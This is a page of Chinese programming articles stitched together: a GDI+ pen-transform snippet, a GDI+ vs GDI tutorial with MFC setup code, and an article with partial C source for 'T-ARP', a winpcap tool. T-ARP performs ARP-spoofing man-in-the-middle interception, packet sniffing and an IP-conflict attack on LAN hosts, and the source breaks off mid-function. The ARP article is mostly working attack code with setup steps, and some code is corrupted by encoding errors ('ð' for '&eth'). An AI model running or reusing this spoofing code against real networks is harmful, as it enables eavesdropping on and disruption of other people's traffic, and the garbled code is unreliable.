  我们可以在程序中修改画笔在水平与垂直方向上的宽度的,假设我们有一个画笔的宽度为5,那么我们用它来绘制的矩形在四条边上长度都是一样的, 如果想让在水平与数值方向上不一致,我们可以使用变换,有三种方式可以实现上面的要求:
     Pen pen(Color(255,0,0,255));
     pen.SetWidth(5);
     Matrix matrix(1,0,0,2,0,0);
     pen.MutiplyTransform(&matrix,MatrixOrderPrepend);//方法一
     pen.SetTransform(&matrix);//方法二
     pen.ScaleTransform(1,4);
     graphics.DrawRectange(&pen,50,50,200,200);   
  还可以对画笔进行旋转变换,旋转是相对在水平宽度与垂直位置上不一致的画笔而言的左图为缩放变换,右图为旋转变换。

GDI+编程基础(一)GDI+ Vs GDI

作者:李昊

下载源代码

一、GDI
  GDI是位于应用程序与不同硬件之间的中间层,这种结构让程序员从直接处理不同硬件的工作中解放出来,把硬件间的差异交给了GDI处理。GDI通过将应用程序与不同输出设备特性相隔离,使Windows应用程序能够毫无障碍地在Windows支持的任何图形输出设备上运行。例如,我们可以在不改变程序的前提下,让能在Epson点式打印机上工作的程序也能在激光打印机上工作。它把windows系统中的图形输出转换成硬件命令然后发送给硬件设备。GDI是以文件的形式存储在系统中,系统需要输出图形时把它载入内存,如果转换成硬件命令时遇到非GDI命令,系统还可能载入硬件驱动程序,驱动程序辅助GDI把图形命令转换成硬件命令。



二、设备环境
  Windows系统是用来给应用程序提供设备独立性的工具,它是windows系统为了处理输出设备而使用的一种内部数据结构,设备环境是windos程序,驱动程序,和输出设备(如打印机,绘图仪)之间的纽带,GDI是一组C++类,它在驱动程序的协助下把数据描绘在硬件上,它位于应用程序与硬件之间,把数据从一方传到另一方。在Visual Studio .NET中Micro$oft解决了GDI中的许多问题,并让它变得易用, GDI的.net版本叫做GDI+。

三、GDI+
  GDI+是GDI的下一个版本,它进行了很好的改进,并且易用性更好。GDI的一个好处就是你不必知道任何关于数据怎样在设备上渲染的细节,GDI+更好的实现了这个优点,也就是说,GDI是一个中低层API,你还可能要知道设备,而GDI+是一个高层的API,你不必知道设备。例如你如果要设置某个控件的前景和背景色,只需设置BackColor和ForeColor属性。

四、编程模式的变化
"GDI uses a stateful model, whereas GDI+ uses a stateless"——GDI是有状态的,GDI+是无无状态的。

1、不再使用设备环境或句柄
  在使用GDI绘图时,必须要指定一个设备环境(DC),用来将某个窗口或设备与设备环境类的句柄指针关联起来,所有的绘图操作都与该句柄有关。而GDI+不再使用这个设备环境或句柄,取而代之是使用Graphics对象。与设备环境相类似,Graphics对象也是将屏幕的某一个窗口与之相关联,并包含绘图操作所需要的相关属性。但是,只有这个Graphics对象与设备环境句柄还存在着联系,其余的如Pen、Brush、Image和Font等对象均不再使用设备环境。

2、Pen、Brush,Font,Image等对象是图形对象独立的
  
画笔对象能与用于提供绘制方法的图形对象分开创建于维护,Graphics绘图方法直接将Pen对象作为自己的参数,从而避免了在GDI使用SelectObject进行繁琐的切换,类似的还有Brush、Path、Image和Font等。

3、"当前位置"
  
GDI绘图操作(如画线)中总存在一个被称为"当前位置"的特殊位置。每次画线都是以此当前位置为起始点,画线操作结束之后,直线的结束点位置又成为了当前位置。设置当前位置的理由是为了提高画线操作的效率,因为在一些场合下,总是一条直线连着另一条直线,首尾相接。有了当前位置的自动更新,就可避免每次画线时都要给出两点的坐标。尽管有其必要性,但是单独绘制一条直线的场合总是比较多的,因此GDI+取消这个"当前位置"以避免当无法确定"当前位置"时所造成的绘图的差错,取而代之的是直接在DrawLine中指定直线起止点的坐标。   

4、绘制和填充
  GDI总是让形状轮廓绘制和填充使用同一个绘图函数,例如Rectangle。轮廓绘制需要一个画笔,而填充一个区域需要一个画刷。也就是说,不管我们是否需要填充所绘制的形状,我们都需要指定一个画刷,否则GDI采用默认的画刷进行填充。这种方式确实给我们带来了许多不便,现在GDI+将形状轮廓绘制和填充操作分开而采用不同的方法,例如DrawRectangle和FillRectangle分别用来绘制和填充一个矩形。   

5、区域的操作
  GDI提供了许多区域创建函数,如:CreateRectRgn、CreateEllpticRgn、CreateRoundRectRgn、CreatePolygonRgn和CreatePolyPolygonRgn等。诚然,这些函数给我们带来了许多方便。但在GDI+中,由于为了便于将区域引入矩阵变换操作,GDI+简化一般区域创建的方法,而将更复杂的区域创建交由Path接管。由于Path对象是与设备环境分离开来的,因而可以直接在Region构造函数中加以指定。

五、GDI+新特色
GDI+与GDI相比,增加了下列新的特性:

1、渐变画刷
  以往GDI实现颜色渐变区域的方法是通过使用不同颜色的线条来填充一个裁剪区域而达到的。现在GDI+拓展了GDI功能,提供线型渐变和路径渐变画刷来填充一个图形、路径和区域,甚至也可用来绘制直线、曲线等。这里的路径可以视为由各种绘图函数产生的轨迹。   

2、样条曲线
  
对于曲线而言,最具实际意义的莫过于样条曲线。样条曲线是在生产实践的基础上产生和发展起来的。模线间的设计人员在绘制模线时,先按给定的数据将型值点准确地"点"到图板上。然后,采用一种称为"样条"的工具(一根富有弹性的有机玻璃条或木条),用压铁强迫它通过这些型值点,再适当调整这些压铁,让样条的形态发生变化,直至取得合适的形状,才沿着样条画出所需的曲线。如果我们把样条看成弹性细梁,那么压铁就可看成作用在这梁上的某些点上的集中力。GDI+的Graphics:: DrawCurve函数中就有一个这样的参数用来调整集中力的大小。除了样条曲线外,GDI+还支持原来GDI中的Bezier曲线。

3、独立的路径对象
  在GDI中,路径是隶属于一个设备环境(上下文),也就是说一旦设备环境指针超过它的有效期,路径也会被删除。而GDI+是使用Graphics对象来进行绘图操作,并将路径操作从Graphics对象分离出来,提供一个GraphicsPath类供用户使用。这就是说,我们不必担心路径对象会受到Graphics对象操作的影响,从而可以使用同一个路径对象进行多次的路径绘制操作。

4、矩阵和矩阵变换
  在图形处理过程中常需要对其几何信息进行变换以便产生复杂的新图形,矩阵是这种图形几何变换最常用的方法。为了满足人们对图形变换的需求,GDI+提供了功能强大的Matrix类来实现矩阵的旋转、错切、平移、比例等变换操作,并且GDI+还支持Graphics图形和区域(Region)的矩阵变换。

5、Alpha通道合成运算
  在图像处理中,Alpha用来衡量一个像素或图像的透明度。在非压缩的32位RGB图像中,每个像素是由四个部分组成:一个Alpha通道和三个颜色分量(R、G和B)。当Alpha值为0时,该像素是完全透明的,而当Alpha值为255时,则该像素是完全不透明。   
  Alpha混色是将源像素和背景像素的颜色进行混合,最终显示的颜色取决于其RGB颜色分量和Alpha值。它们之间的关系可用下列公式来表示
  显示颜色 = 源像素颜色 X alpha / 255 + 背景颜色 X (255 - alpha) / 255
GDI+的Color类定义了ARGB颜色数据类型,从而可以通过调整Alpha值来改变线条、图像等与背景色混合后的实际效果。

6、多图片格式的支持
  GDI+提供了对各种图片的打开,存储功能。通过GDI+,我们能够直接将一幅BMP文件存储成JPG或其它格式的图片文件。
  除了上述新特性外,GDI+还将支持重新着色、色彩修正、消除走样、元数据以及Graphics容器等特性。

六、VC.net中使用GDI+的方法  
在Visual C++.NET使用GDI+一般遵循下列步骤:   

(1)、在应用程序中添加GDI+的 包含文件gdiplus.h以及附加的类库gdiplus.lib。通常gdiplus.h包含文件添加在应用程序的stdafx.h文件中,而gdiplus.lib可用两种进行添加:第一种是直接在stdafx.h文件中添加下列语句:

#pragma comment( lib, "gdiplus.lib" ) 

  另一种方法是:选择"项目->属性"菜单命令,在弹出的对话框中选中左侧的"链接器->输入"选项,在右侧的"附加依赖项"框中键入gdiplus.lib,

(2)、在应用程序项目的应用类中,添加一个成员变量,如下列代码:

ULONG_PTR m_gdiplusToken;

其中,ULONG_PTR是一个DWORD数据类型,该成员变量用来保存GDI+被初始化后在应用程序中的GDI+标识,以便能在应用程序退出后,引用该标识来调用Gdiplus:: GdiplusShutdown来关闭GDI+。

(3)、在应用类中添加ExitInstance的重载,并添加下列代码用来关闭GDI+:

int CGDIPlusApp::ExitInstance()
{
 Gdiplus::GdiplusShutdown(m_gdiplusToken);
 return CWinApp::ExitInstance();
}		
(4)、在应用类的InitInstance函数中添加GDI+的初始化代码:
BOOL CGDIPlusApp::InitInstance()
{
 CWinApp::InitInstance();
 Gdiplus::GdiplusStartupInput gdiplusStartupInput;
 Gdiplus::GdiplusStartup(&m_gdiplusToken, &gdiplusStartupInput, NULL);
 ...
}		
(5)、在需要绘图的窗口或视图类中添加GDI+的绘制代码:
void CGDIPlusView::onDraw(CDC *pDC)
{
	Graphics graphics( pDC->m_hDC );

	GraphicsPath path; // 构造一个路径
	path.AddEllipse(50, 50, 200, 100);

	// 使用路径构造一个画刷
	PathGradientBrush pthGrBrush(&path);

	// 将路径中心颜色设为蓝色
	pthGrBrush.SetCenterColor(Color(255, 0, 0, 255));

	// 设置路径周围的颜色为蓝芭,但alpha值为0
	Color colors[] = {Color(0, 0, 0, 255)};
	INT count = 1;
	pthGrBrush.SetSurroundColors(colors, &count);

	graphics.FillRectangle(&pthGrBrush, 50, 50, 200, 100);

	LinearGradientBrush linGrBrush(
		Point(300, 50),
		Point(500, 150),
		Color(255, 255, 0, 0), // 红色
		Color(255, 0, 0, 255)); // 蓝色

	graphics.FillRectangle(&linGrBrush, 300, 50, 200, 100);
}		

详谈调用winpcap驱动写arp多功能工具


作者:TOo2y

一 winpcap驱动简介
二 Packet.dll相关数据结构及函数
三 T-ARP功能及原理介绍
四 T-ARP主要代码分析
五 T-ARP源代码

一、winpcap驱动简介

winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。
(编者注:WinpCap开发包可以到以下两个网址下载: (1)http://winpcap.polito.it/ , (2)VC知识库工具栏目 )

开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能:
1> 捕获原始数据报,包括在共享网络上各主机发送/接收的以及相互之间交换的数据报;
2> 在数据报发往应用程序之前,按照自定义的规则将某些特殊的数据报过滤掉;
3> 在网络上发送原始的数据报;
4> 收集网络通信过程中的统计信息。

winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据报。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据报的发收,它仅仅只是监听共享网络上传送的数据报。因此,它不能用于QoS调度程序或个人防火墙。

目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。

本文讨论的是packet.dll所提供的各种函数,因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求,winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单,直接,有力的方法来更好的利用编程环境。比如捕获一个数据报,创建一个数据报过滤装置或将监听到的数据报转存到某个文件等,wpcap.dll都会为你提供更加安全的实现方法。

二、Packet.dll相关数据结构及函数

本文的目的之一在于介绍如何利用winpcap驱动写ARP工具,因此有必要介绍一些相关的数据结构和函数,要不然看着一行行代码和函数,也许会有些不知所云。

首先介绍一些相关的数据结构:
1. typedef struct _ADAPTER ADAPTER //描述一个网络适配器;
2. typedef struct _PACKET PACKET //描述一组网络数据报的结构;
3. typedef struct NetType NetType //描述网络类型的数据结构;
4. typedef struct npf_if_addr npf_if_addr //描述一个网络适配器的ip地址;
5. struct bpf_hdr //数据报头部;
6. struct bpf_stat //当前捕获数据报的统计信息。

下面,将介绍T-ARP用到的各个函数,他们都是在packet.dll中定义的:
1> LPPACKET PacketAllocatePacket(void)
如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。

2> VOID PacketCloseAdapter(LPADAPTER lpAdapter)
关闭参数中提供的网络适配器,释放相关的ADAPTER结构。

3> VOID PacketFreePacket(LPPACKET lpPacket)
释放参数提供的_PACKET结构。

4> BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)
返回可以得到的网络适配器列表及描述。

5> BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)
返回某个网络适配器的全面地址信息。
其中npf_ip_addr结构包含:IPAddress,SubnetMask,Broadcast
IPAddress: ip地址
SubnetMask: 子网掩码
Broadcast: 广播地址

6> BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)
返回某个网络适配器的MAC类型。
NetType结构里包含了LinkSpeed(速度)和LinkType(类型)。其中LinkType包含以下几种情况:
NdisMedium802_3: Ethernet(802.3)
NdisMediumWan: WAN
NdisMedium802_5: Token Ring( 802.5)
NdisMediumFddi: FDDI
NdisMediumAtm: ATM
NdisMediumArcnet878_2: ARCNET(878.2)

7> BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)
返回几个关于当前捕获报告的统计信息。
其中bpf_stat结构包含:bs_recv, bs_drop,ps_ifdrop,bs_capt
bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目,包括丢失的数据报;
bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时,就会发生数据报丢失的情况。

8> PCHAR PacketGetVersion()
返回关于dll的版本信息。

9> VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)
初始化一个_PACKET结构。

10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)
打开一个网络适配器。

11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)
从NPF驱动程序读取网络数据报及统计信息。
数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|

12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)
发送一个或多个数据报的副本。

13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)
设置捕获数据报的内核级缓冲区大小。

14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)
为接收到的数据报设置硬件过滤规则。
以下为一些典型的过滤规则:
NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式,接收所有流过的数据报;
NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收;
NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收;
NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收;
NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收;
NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。

15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)
设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。

16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)
设置在接收到一个数据报后"休息"的时间。

以上就是T-ARP所调用的各个函数,它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站,主页地址: http://winpcap.polito.it

三、T-ARP功能及原理介绍

准备工作:
1. 安装winpcap驱动,目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3;
2. 使用ARP欺骗功能前,必须启动ip路由功能,修改(添加)注册表选项:
     HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 

选项:
-m 主机扫描,获得局域网内指定ip段中存活主机的ip地址和mac地址;
-a 反嗅探扫描,获得局域网内指定ip段中嗅探主机的ip地址和mac地址;
-s ARP欺骗,欺骗局域网内指定的两台主机,使其相互发送接收的数据报均通过本地主机;
网络嗅探,如果你选择欺骗的两台主机均是本地主机,那么将会监听到所有流过本地主机的数据报;
IP冲突,如果你选择欺骗的两台主机是同一台非本地主机,那么就会发起ip冲突攻击;
-r 重置被欺骗主机,使被欺骗的两台主机恢复正常的工作状态。

原理及实现过程:
无论什么选项,第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报,当本地主机接收到后,就会发送一个ARP Reply(ARP应答)数据报来回应请求,这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。

-m 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报,存活的主机就会发送ARP Reply数据报,这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应,如果你用内网的其他某台主机的ip来发送ARP Request数据报,如果填写的mac地址和相应的ip不合,就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。

-a 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报,只有正在嗅探的主机才会发送ARP Reply数据报,这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应;而嗅探中的win95/98/me不仅会回应16位伪广播地址,而且也会回应8位伪广播地址(ff:00:00:00:00:00),而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址,是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统,都不会对31位伪广播地址做出回应。

-s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内,数据报的发送与接收是基于硬件地址的,这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址,然后向A发送ARP Reply数据报,其中的源ip地址为B的ip地址,但是源mac地址却是本地主机的mac地址,这样主机A就会认为主机B的mac地址是本地主机的mac地址,所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报,通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址,于是他们之间相互发送的数据报都首先到达了本地主机,而先前我们已经将本地主机设置了ip路由功能,系统会自动将数据报转发到真正的目的主机。其间,你就可以监听它们通信的各种数据报了。

-s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机,那么就只是将网络适配器设置为混杂模式,这样就可以监听到流过本地主机网络适配器的各种数据。

-s (ip冲突shock) 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C),那么就会不断地向主机C发送ARP Reply数据报,报文中的源ip地址就是主机C的ip地址,但是源mac地址却是本地主机的mac地址,因此主机C就会发现有另一台主机同时拥有和自己相同的ip,这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口,而xp系统也会有类似的警告。但是请注意,在主机C的系统事件查看器中,会留下本地主机的mac地址与之冲突的恶心记录,所以你最好不要滥用这个功能。

-r 在实现了ARP欺骗的情况下,向主机A和B发送ARP Reply数据报,通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址,这样主机A和B就会更新他们的ARP缓存,实现正常的数据通信。

四、T-ARP主要代码分析

1> 自定义函数:
int getmine() //发送ARP Request数据报,请求获得本地主机的mac地址;
void getdata(LPPACKET lp,int op) //分类处理接收到的数据报;
DWORD WINAPI sniff(LPVOID no) //将网络适配器设置为混杂模式,接收所有流过的数据报;
DWORD WINAPI sendMASR(LPVOID no) //发送ARP Request数据报,请求获得指定ip的mac地址;
DWORD WINAPI sendSR(LPVOID no) //发送ARP Reply进行ARP欺骗,或是更新主机的ARP缓存。

2> 主要代码分析
printf("\nLibarary Version: %s",PacketGetVersion()); //输出dll的版本信息;

PacketGetAdapterNames((char *)adaptername,&adapterlength) //获得本地主机的网络适配器列表和描述;

lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开指定的网络适配器;

PacketGetNetType(lpadapter,&ntype) //获得网络适配器的MAC类型;

PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen) //获得指定网络适配器的相关信息;

rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); //创建一个新线程来监听网络数据报;

PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //将网络适配器设置为混杂模式,这样才可以监听流过本地主机的数据报;
PacketSetBuff(lpadapter,500*1024) //自定义网络适配器的内核缓存的大小为 500*1024;

PacketSetReadTimeout(lpadapter,1) //设置接收一个数据报后等待的时间为1毫秒;

PacketReceivePacket(lpadapter,lppacketr,TRUE) //在设置为混杂模式后,接收所有的数据报;

sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); //创建一个新线程发送特定的ARP数据报

PacketSetNumWrites(lpadapter,2) //在发送一个数据报时,重复发送两次;

PacketSendPacket(lpadapter,lppackets,TRUE) //发送自定义数据报;

WaitForSingleObject(sthread,INFINITE); //等待发送ARP数据报的线程结束;

PacketGetStats(lpadapter,&stat) //获得网络适配器的统计信息;

五、T-ARP源代码

#include "packet32.h"
#include "ntddndis.h"
#include <stdio.h>
#include <conio.h>

#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define ETH_IP       0x0800
#define ETH_ARP      0x0806
#define ARP_REQUEST  0x0001
#define ARP_REPLY    0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter  10

#pragma pack(push,1)

typedef struct ethdr
{
	unsigned char   eh_dst[6];
	unsigned char   eh_src[6];
	unsigned short  eh_type;
}ETHDR,*PETHDR;

typedef struct arphdr
{
	unsigned short  arp_hdr;
	unsigned short  arp_pro;
	unsigned char   arp_hln;
	unsigned char   arp_pln;
	unsigned short  arp_opt;
	unsigned char   arp_sha[6];
	unsigned long   arp_spa;
	unsigned char   arp_tha[6];
	unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;

typedef struct iphdr
{
	unsigned char  h_lenver;
	unsigned char  tos;
	unsigned short total_len;
	unsigned short ident;
	unsigned short frag_and_flags;
	unsigned char  ttl;
	unsigned char  proto;
	unsigned short checksum;
	unsigned int   sourceip;
	unsigned int   destip;
}IPHDR,*PIPHDR;

#pragma pack(push)

LPADAPTER lpadapter=0;
LPPACKET  lppacketr,lppackets;
ULONG     myip,firstip,secondip;
UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL      mm=FALSE,fm=FALSE,sm=FALSE; 
FILE      *fp; 
char      adapterlist[max_num_adapter][1024];
char      msg[50];
int       num=0;

void start()
{
	printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002\n");
	printf("Homepage: www.safechina.net\n");
	printf("E-mail: TOo2y@safechina.net\n");
	return ;
}

void usage()
{
	printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");
	printf("Option:\n");
	printf("   -m  mac        Get the mac address from firstip to secondip\n");
	printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");
	printf("   -s  spoof      1> Spoof the host between firstip and secondip\n");
	printf("       sniff      2> Sniff if firstip == secondip == your own ip\n");
	printf("       shock      3> Shock if firstip == secondip != your own ip\n");
	printf("   -r  reset      Reset the spoofed host work normally\n\n");
	printf("Attention:\n");
	printf("    1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
	printf("    2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter == 0x1\n\n");
	return ;
}

int getmine()
{
	char   sendbuf[1024];
	int    k;
	ETHDR  eth;
	ARPHDR arp;

	for(k=0;k<6;k++)
	{
		eth.eh_dst[k]=0xff;
		eth.eh_src[k]=0x82;
		arp.arp_sha[k]=0x82;
		arp.arp_tha[k]=0x00;
	}
	eth.eh_type=htons(ETH_ARP);
	arp.arp_hdr=htons(ARP_HARDWARE);
	arp.arp_pro=htons(ETH_IP);
	arp.arp_hln=6;
	arp.arp_pln=4;
	arp.arp_opt=htons(ARP_REQUEST);
	arp.arp_tpa=htonl(myip);
	arp.arp_spa=inet_addr("112.112.112.112");

	memset(sendbuf,0,sizeof(sendbuf));
	memcpy(sendbuf,ð,sizeof(eth));
	memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

	PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
	if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
	{
		printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
		return -1;             
	}
	return 0;
}

void getdata(LPPACKET lp,int op) 
{
	ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
	ULONG  j,k;
	ETHDR  *eth;
	ARPHDR *arp;
	PIPHDR ip;
	char   *buf,*pChar,*pLine,*base;
	struct bpf_hdr      *hdr;
	struct sockaddr_in  sin;

	ulbytesreceived=lp->ulBytesReceived;
	buf=(char *)lp->Buffer;

	off=0;
	while(off<ulbytesreceived)
	{
		if(kbhit())
		{
			return ;
		}
		hdr=(struct bpf_hdr *)(buf+off);
		off+=hdr->bh_hdrlen;

		pChar=(char *)(buf+off);
		base=pChar;
		off=Packet_WORDALIGN(off+hdr->bh_caplen);

		eth=(PETHDR)pChar;                
		arp=(PARPHDR)(pChar+sizeof(ETHDR)); 

		if(eth->eh_type==htons(ETH_IP)) 
		{
    		ip=(PIPHDR)(pChar+sizeof(ETHDR));

			if(fm && sm && (op==3))  
			{  
				if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip)) 
                            && !strcmp((char *)eth->eh_dst,(char *)mmac)) 
				&& ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) 
				|| (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
                           || ((firstip==myip) && (secondip==myip)))
				{
					memset(msg,0,sizeof(msg));

					sin.sin_addr.s_addr=ip->sourceip;				
					printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));

                                  strcpy(msg,inet_ntoa(sin.sin_addr));
					strcat(msg+15," ---> ");

					sin.sin_addr.s_addr=ip->destip;
					printf("%16s\n",inet_ntoa(sin.sin_addr));
                   
					strcat(msg+23,inet_ntoa(sin.sin_addr));
					fseek(fp,-2,1);
					fwrite("\r\n\r\n\r\n",6,1,fp);
					fwrite(msg,38,1,fp);
					fwrite("\r\n",2,1,fp);

					ulLines=(hdr->bh_caplen+15)/16;
					for(k=0;k<ulLines;k++)
					{
						pLine=pChar;
						printf("%08lx : ",pChar-base);

						ulen=tlen;
						ulen=(ulen>16) ? 16 : ulen;
						tlen-=ulen;

						for(j=0;j<ulen;j++)
							printf("%02x ",*(BYTE *)pChar++);

						if(ulen<16)
							printf("%*s",(16-ulen)*3," ");

						pChar=pLine;

						for(j=0;j<ulen;j++,pChar++)
						{
							printf("%c",isprint(*pChar)? *pChar : ''.'');
							fputc(isprint(*pChar) ? *pChar : ''.'',fp); 
						}
						printf("\n");
					}
					printf("\n");
                                  fwrite("\r\n",2,1,fp);  
				}

			}
			continue;
		}
	      else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))  
		{
    	       	sin.sin_addr.s_addr=arp->arp_spa;

     	          	if(sin.sin_addr.s_addr==htonl(myip)) 
			{
	            		memcpy(mmac,eth->eh_src,6);
	        	    	if(!mm)
	 			{
			    	printf("\t");    
	            	    	for(k=0;k<5;k++)
	    		    	printf("%.2x-",eth->eh_src[k]);
	          		printf("%.2x\n",eth->eh_src[5]);

                        	switch(op)
				{
                          	case 1:
                      	    	printf("\n[MAC LIST:]");
                           		break;
                           	case 2:
	                       	printf("\n[Sniffing Host:]");     
	                         	break;
                         	default:                    
	                         	break;
				}
			}
		    	mm=TRUE;
		}

    		if((op==1) || (op==2))
		{
		    	printf("\n[IP:] %.16s\t[MAC:] ",inet_ntoa(sin.sin_addr));
		    	for(k=0;k<5;k++)
			    	printf("%.2x-",eth->eh_src[k]);
		    	printf("%.2x",eth->eh_src[5]);

			}
	            	else if(((op==3) || (op==4)) && (!fm || !sm))
			{
	           		if(arp->arp_spa==htonl(firstip))
				{
	           		    	memcpy(fmac,eth->eh_src,6);
	            		    	fm=TRUE;
				}
			    
				if(arp->arp_spa==htonl(secondip))
				{
		          	    	memcpy(smac,eth->eh_src,6);
		         	    	sm=TRUE;
				}
			}
		}
	}
	return ;
}
			
DWORD WINAPI sniff(LPVOID no)
{
	int      option=*(int *)no;
	char     recvbuf[1024*250];

	if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
	{
		printf("Warning: Unable to set the adapter to promiscuous mode\n");
	}

	if(PacketSetBuff(lpadapter,500*1024)==FALSE)
	{
		printf("PacketSetBuff Error: %d\n",GetLastError());
		return -1;
	}

	if(PacketSetReadTimeout(lpadapter,1)==FALSE)
	{
		printf("Warning: Unable to set the timeout\n");
	}

	if((lppacketr=PacketAllocatePacket())==FALSE)
	{
		printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
		return -1;
	}

	PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));

	while(!kbhit())
	{
		if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
		{
	           	return -1;
		}
		getdata(lppacketr,option);
	}
	return 0;
}

DWORD WINAPI sendMASR(LPVOID no)
{
	int    fun=*(int *)no;
	int    k,stimes;
       char   sendbuf[1024];
	ETHDR  eth;
	ARPHDR arp;
 
	if(fun<1 || fun>4)
	{
		return -1;
	}
	else
	{
		for(k=0;k<6;k++)
		{
			eth.eh_dst[k]=0xff;
			arp.arp_tha[k]=0x00;
		}
		if(fun==2)
			eth.eh_dst[5]=0xfe;
	}

	memcpy(eth.eh_src,mmac,6);
	eth.eh_type=htons(ETH_ARP);

	arp.arp_hdr=htons(ARP_HARDWARE);
	arp.arp_pro=htons(ETH_IP);
	arp.arp_hln=6;
	arp.arp_pln=4;
	arp.arp_opt=htons(ARP_REQUEST);
	arp.arp_spa=htonl(myip);
	memcpy(arp.arp_sha,mmac,6);

	if(fun==1 || fun==2)
		stimes=1;
	else if(fun==3 || fun==4)
		stimes=2;

